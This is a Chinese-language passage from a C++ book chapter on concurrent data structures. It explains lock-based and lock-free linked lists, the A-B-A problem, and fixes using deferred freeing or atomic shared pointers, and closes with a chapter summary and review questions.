或具有更强线程安全性保证的类似指针)。
就像我们在顺序数据结构中所做的那样,我们对于线程安全数据结构的第一次尝试应该是一个带锁的实现。一般来说,除非你知道你需要一个,否则你不应该设计一个无锁的数据结构:开发无锁代码可能很酷,但尝试在其中找到错误绝对不是。
就像我们之前做的那样,我们必须重新设计接口的部分,以便所有操作都是事务性的:例如,pop_front()
应该在列表为空或不为空时都能工作。然后我们可以用锁来保护所有操作。对于push_front()
和pop_front()
等操作,我们可以期望与之前观察到的堆栈或队列类似的性能。但是列表提出了我们直到现在都没有不得不面对的额外挑战。
首先,列表支持在任意位置插入;在std::forward_list
的情况下,可以使用insert_after()
在迭代器指向的元素之后插入一个新元素。如果我们在两个线程上同时插入两个元素,我们希望插入可以同时进行,除非两个位置靠近并影响同一个列表节点。但是我们无法通过一个单一的锁来保护整个列表来实现这一点。
如果考虑长时间运行的操作,比如搜索列表中具有所需值的元素(或满足其他条件的元素),情况会更糟。我们将不得不为整个搜索操作锁定列表,因此在遍历列表时不能添加或删除元素。当然,如果我们经常搜索,列表就不是正确的数据结构,但是树和其他节点数据结构也有同样的问题:如果我们需要遍历数据结构的大部分部分,锁将在整个操作的持续时间内保持,阻止所有其他线程甚至访问与我们当前操作的节点无关的节点。
当然,如果你从未遇到这些问题,这些问题就不是你的问题:如果你的列表只从前端和后端访问,那么一个带锁的列表可能完全足够。正如我们已经多次看到的,当设计并发数据结构时,不必要的泛化是你的敌人。只构建你需要的东西。
然而,大部分时间,节点数据结构不仅仅是从两端访问,或者在树或图的情况下,并没有真正的“两端”。锁定整个数据结构,以便一次只能由一个线程访问,如果程序大部分时间在操作这个数据结构上,这是不可接受的。你可能考虑的下一个想法是分别锁定每个节点;在列表的情况下,我们可以给每个节点添加自旋锁,并在需要更改时锁定节点。不幸的是,这种方法遇到了所有基于锁的解决方案的问题:死锁。任何需要操作多个节点的线程都必须获取多个锁。假设线程 A 持有节点 1 的锁,现在它需要在节点 2 后插入一个新节点,所以它也试图获取那个锁。与此同时,线程 B 持有节点 2 的锁,并且想要删除节点 1 后的节点,所以它也试图获取那个锁。这两个线程现在将永远等待。除非我们对线程如何访问列表施加非常严格的限制(一次只持有一个锁),否则无法避免这个问题,因为锁可以以任意顺序获取,然后我们会面临活锁的风险,因为许多线程不断释放和重新获取锁。
如果我们真的需要一个可以同时访问的列表或其他节点数据结构,我们必须想出一个无锁实现。正如我们已经看到的,无锁代码不容易编写,甚至更难正确编写。很多时候,更好的选择是想出一个不需要线程安全节点数据结构的不同算法。通常,这可以通过将全局数据结构的部分复制到一个特定于线程的数据结构中,然后由单个线程访问;在计算结束时,来自所有线程的片段再次放在一起。有时,更容易对数据结构进行分区,以便不会同时访问节点(例如,可能可以对图进行分区,并在一个线程上处理每个子图,然后处理边界节点)。但如果你真的需要一个线程安全的节点数据结构,下一节将解释挑战并为你提供一些实现选项。
无锁列表
无锁列表的基本思想,或者任何其他节点容器,都非常简单,基于使用比较和交换来操作节点的指针。让我们从更简单的操作开始:插入。我们将描述在列表头部的插入,但在任何其他节点之后的插入都是相同的方式进行。
图 7.25 - 在单链表头部插入新节点
假设我们想要在图 7.25a所示的列表头部插入一个新节点。第一步是读取当前的头指针,即指向第一个节点的指针。然后我们创建具有所需值的新节点;它的下一个指针与当前头指针相同,因此这个节点在当前第一个节点之前链接到列表中(图 7.25b)。此时,新节点还不可访问给其他线程,因此数据结构可以同时访问。最后,我们执行 CAS:如果当前头指针仍然未更改,我们就以原子方式将其替换为指向新节点的指针(图 7.25c)。如果头指针不再具有我们最初读取时的值,我们就读取新值,将其写为新节点的下一个指针,并再次尝试原子 CAS。
这是一个简单而可靠的算法。这是我们在上一章中看到的发布协议的泛化:新数据是在一个不关心线程安全的线程上创建的,因为它还不可访问给其他线程。作为最后的动作,线程通过原子方式改变根指针来发布数据,从而可以访问所有数据(在我们的情况下,是列表的头部)。如果我们要在另一个节点之后插入新节点,我们将原子地改变该节点的下一个指针。唯一的区别是多个线程可能同时尝试发布新数据;为了避免数据竞争,我们必须使用比较和交换。
现在,让我们考虑相反的操作,删除列表的前节点。这也是分三步完成的:
图 7.26 - 单链表头部的无锁移除
首先,我们读取头指针,用它来访问列表的第一个节点,并读取它的下一个指针(图 7.26a)。然后我们以原子方式将该下一个指针的值写入头指针(图 7.26b),但前提是头指针没有改变(CAS)。此时,原来的第一个节点对其他线程不可访问,但我们的线程仍然具有头指针的原始值,并可以使用它来删除我们已经移除的节点(图 7.26c)。这是简单而可靠的。但当我们尝试结合这两个操作时,问题就出现了。
假设两个线程同时在列表上操作。线程 A 正在尝试移除列表的第一个节点。第一步是读取头指针和下一个节点的指针;这个指针即将成为列表的新头部,但比较和交换还没有发生。目前,头部未更改,新头部是一个只存在于线程 A 的某个本地变量中的值 head’。这一刻被捕捉在图 7.27a中:
图 7.27 - 单链表头部的无锁插入和移除
就在这时,线程 B 成功地移除了列表的第一个节点。然后它也移除了下一个节点,使列表处于图 7.27b所示的状态(线程 A 没有取得任何进展)。然后线程 B 在列表的头部插入一个新节点(图 7.27c);然而,由于两个删除节点的内存已被释放,节点 T4 的新分配重用了旧分配,因此节点 T4 被分配到了原来节点 T1 曾经占据的相同地址。只要删除节点的内存可用于新的分配,这种情况很容易发生;事实上,大多数内存分配器更倾向于返回最近释放的内存,因为它仍然在 CPU 的缓存中是“热点”。
现在,线程 A 终于再次运行,它即将执行的操作是比较和交换:如果头指针自上次线程 A 读取以来没有改变,新的头就变成head'
。不幸的是,就线程 A 所能看到的情况而言,头指针的值仍然是相同的(它无法观察到所有的变化历史)。CAS 操作成功,新的头指针现在指向了曾经是节点 T2 的未使用内存,而节点 T4 不再可访问(图 7.27d)。整个列表已经损坏。
这种失败机制在无锁数据结构中非常常见,它有一个名字:A-B-A 问题。这里的A和B指的是内存位置:问题是数据结构中的某个指针从 A 变为 B,然后再变回 A。另一个线程只观察到初始和最终值,并没有看到任何变化;比较和交换操作成功,执行了程序员假定数据结构未改变的路径。不幸的是,这个假设是不正确的:数据结构几乎可以任意改变,除了观察到的指针的值被恢复到它曾经的值。
问题的根源在于,如果内存被释放和重新分配,指针或内存中的地址不能唯一标识存储在该地址的数据。对于这个问题有多种解决方案,但它们都通过不同的方式实现了同样的目标:确保一旦读取了将被比较和交换使用的指针,该地址的内存在比较和交换完成(成功或不成功)之前不能被释放。如果内存没有被释放,那么另一个分配就不能发生在同一个地址上,您就不会遇到 A-B-A 问题。请注意,不释放内存并不等同于不删除节点:您当然可以使节点对于数据结构的其余部分不可访问(删除节点),甚至可以调用节点中存储的数据的析构函数;您只是不能释放节点占用的内存。
有许多方法可以通过延迟内存释放来解决 A-B-A 问题。如果可能的话,特定于应用程序的选项通常是最简单的。如果您知道算法在数据结构的生命周期内不会删除许多节点,您可以简单地将所有已删除的节点保留在延迟释放列表中,在整个数据结构被删除时再删除。这种方法的更一般版本可以被描述为应用驱动的垃圾收集:所有释放的内存首先放在垃圾列表上。垃圾内存定期返回给主内存分配器,但在此期间,数据结构上的所有操作都被暂停:正在进行的操作必须在收集开始之前完成,所有新操作都被阻塞,直到收集完成。这确保了没有比较和交换操作可以跨越垃圾收集的时间间隔,因此,回收的内存永远不会被任何操作遇到。流行且通常非常高效的RCU(读-复制-更新)技术也是这种方法的变体。另一种常见的方法是使用危险指针。
在本书中,我们将介绍另一种方法,它使用原子共享指针(std::shared_ptr
本身不是原子的,但标准包含了对共享指针进行原子操作的必要函数,或者您可以为特定应用程序编写自己的函数并使其更快)。让我们重新审视图 7.27b,但现在让所有指针都是原子共享指针。只要有至少一个这样的指针指向一个节点,该节点就不能被释放。在相同的事件序列中,线程 A 仍然拥有指向原始节点 T1 的旧头指针,以及指向节点 T2 的新头指针head'
。
图 7.28 – 具有共享指针的无锁插入和删除的单链表头部
线程 B 已经从列表中删除了两个节点(图 7.28),但是内存还没有被释放。新节点 T4 被分配到了另一个地址,与当前分配的所有节点的地址不同。因此,当线程 A 恢复执行时,它会发现新的列表头与旧的头值不同;比较和交换将失败,线程 A 将再次尝试操作。此时,它将重新读取头指针(并获取节点 T3 的地址)。头指针的旧值现在已经消失;因为它是指向节点 T1 的最后一个共享指针,这个节点不再有引用并被删除。同样,一旦共享指针head'
被重置为其新的预期值(节点 T3 的下一个指针),节点 T2 也会被删除。节点 T1 和 T2 都没有指向它们的共享指针,因此它们最终被删除。
当然,这解决了在前面插入的问题。为了允许在任何地方插入和删除,我们必须将所有节点的指针转换为共享指针。这包括所有节点的next指针以及隐藏在列表迭代器中的节点的指针。这样的设计还有另一个重要优势:它解决了与插入和删除同时发生的列表遍历(如搜索操作)的问题。
如果列表节点在有迭代器指向该列表时被移除(图 7.29),该节点将保持分配,并且迭代器仍然有效。即使我们移除了下一个节点(T3),它也不会被释放,因为有一个指向它的共享指针(节点 T2 的next指针)。迭代器可以遍历整个列表。
图 7.29 – 具有原子共享指针的无锁列表的线程安全遍历
当然,这种遍历可能包括不再在列表中的节点,也就是说,不再从列表头部可达。这是并发数据结构的特性:没有有意义的方式来谈论列表的当前内容:了解列表的内容的唯一方法是从头到最后一个节点进行迭代,但是,当迭代器到达列表末尾时,先前的节点可能已经改变,遍历的结果不再是当前的。这种思维方式需要一些时间来适应。
我们不打算展示无锁列表与锁保护列表的任何基准测试,因为这些基准测试必须特定于应用程序。如果只对列表头部进行插入和删除(push_front()
和pop_front()
),自旋锁保护的列表将更快(原子共享指针不便宜)。另一方面,如果同时进行插入和搜索的基准测试,你可以使无锁列表更快,速度可以快到你想要的程度:在锁保护的列表上进行 1M 元素的遍历,同时锁定整个时间,而无锁列表可以在每个线程上同时进行迭代、插入和删除。无论原子指针有多慢,如果你只是让它变得足够长,无锁列表就会更快。这不是一个无端的观察:你的应用程序可能需要执行需要长时间锁定列表的操作,除非你可以以某种方式分区列表以避免死锁。如果这是你需要做的,无锁列表是迄今为止最快的。另一方面,如果你只需要遍历几个元素,而且从不在多个不同的位置同时进行遍历,锁保护的列表就可以胜任。
A-B-A 问题和我们列出的解决方案不仅适用于列表,还适用于所有节点数据结构:双向链表、树和图。在由多个指针连接的数据结构中,你可能会遇到额外的问题。首先,即使所有指针都是原子的,连续更改两个原子指针不是一个原子操作。这会导致数据结构中的临时不一致:例如,你可能期望从一个节点到下一个节点,然后返回到上一个节点会让你回到原始节点。在并发情况下,这并不总是正确的:如果在这个位置插入或删除一个节点,其中一个指针可能会在另一个之前更新。第二个问题是特定于共享指针或任何其他使用引用计数的实现:如果数据结构具有指针循环,即使没有外部引用,循环中的节点也不会被删除。最简单的例子是双向链表,其中两个相邻节点总是互相指向。在单线程程序中解决这个问题的方法是使用弱指针(在双向链表中,所有next指针可以是共享的,所有previous指针则是弱的)。这在并发程序中效果不佳:整个重点是延迟内存的释放,直到没有对它的引用,而弱指针无法做到这一点。对于这些情况,可能需要额外的垃圾回收:在最后一个外部指针指向一个节点被删除后,我们必须遍历链接的节点并检查是否有任何外部指针指向它们(我们可以通过检查引用计数来做到这一点)。没有外部指针的列表片段可以安全地删除。对于这样的数据结构,可能更倾向于使用替代方法,如危险指针或显式垃圾回收。读者应参考专门的关于无锁编程的出版物,以获取有关这些方法的更多信息。
这就结束了我们对并发编程高性能数据结构的探讨。现在让我们总结一下我们学到的东西。
总结
本章最重要的教训是为并发设计数据结构很困难,你应该抓住每一个机会来简化它。对数据结构使用特定于应用程序的限制可以使它们变得更简单和更快。
你必须做出的第一个决定是你的代码的哪些部分需要线程安全,哪些不需要。通常,最好的解决方案是为每个线程提供自己的数据来处理:单个线程使用的任何数据根本不需要考虑线程安全。当这不是一个选择时,寻找其他特定于应用程序的限制:你是否有多个线程修改特定的数据结构?如果只有一个写入线程,实现通常会更简单。是否有任何应用程序特定的保证可以利用?你是否事先知道数据结构的最大大小?你是否需要同时从数据结构中删除数据和添加数据,还是可以将这些操作分开进行?是否有明确定义的时期,某些数据结构不会发生变化?如果是这样,你就不需要同步来读取它们。这些以及许多其他特定于应用程序的限制可以用来极大地提高数据结构的性能。
第二个重要的决定是:你将支持数据结构上的哪些操作?重新陈述上一段的另一种方式是“实现最小必要的接口”。你实现的任何接口都必须是事务性的:每个操作对于数据结构的任何状态都必须有明确定义的行为。如果某个操作仅在数据结构处于某种状态时有效,除非调用方使用客户端锁定将多个操作组合成单个事务(在这种情况下,这些操作应该从一开始就是一个操作),否则不能在并发程序中安全地调用。
本章还教授了实现不同类型数据结构的几种方法,以及估计和评估它们性能的方法。最终,准确的性能测量只能在实际应用和实际数据的情况下获得。然而,在开发和评估潜在替代方案时,有用的近似基准可以节省大量时间。
本章总结了我们对并发性的探索。接下来,我们将学习 C++语言本身如何影响我们程序的性能。
问题
-
设计用于线程安全的数据结构接口的最关键特性是什么?
-
为什么具有有限功能的数据结构通常比它们的通用变体更有效?
-
无锁数据结构是否总是比基于锁的数据结构更快?
-
在并发应用程序中管理内存的挑战是什么?
-
A-B-A 问题是什么?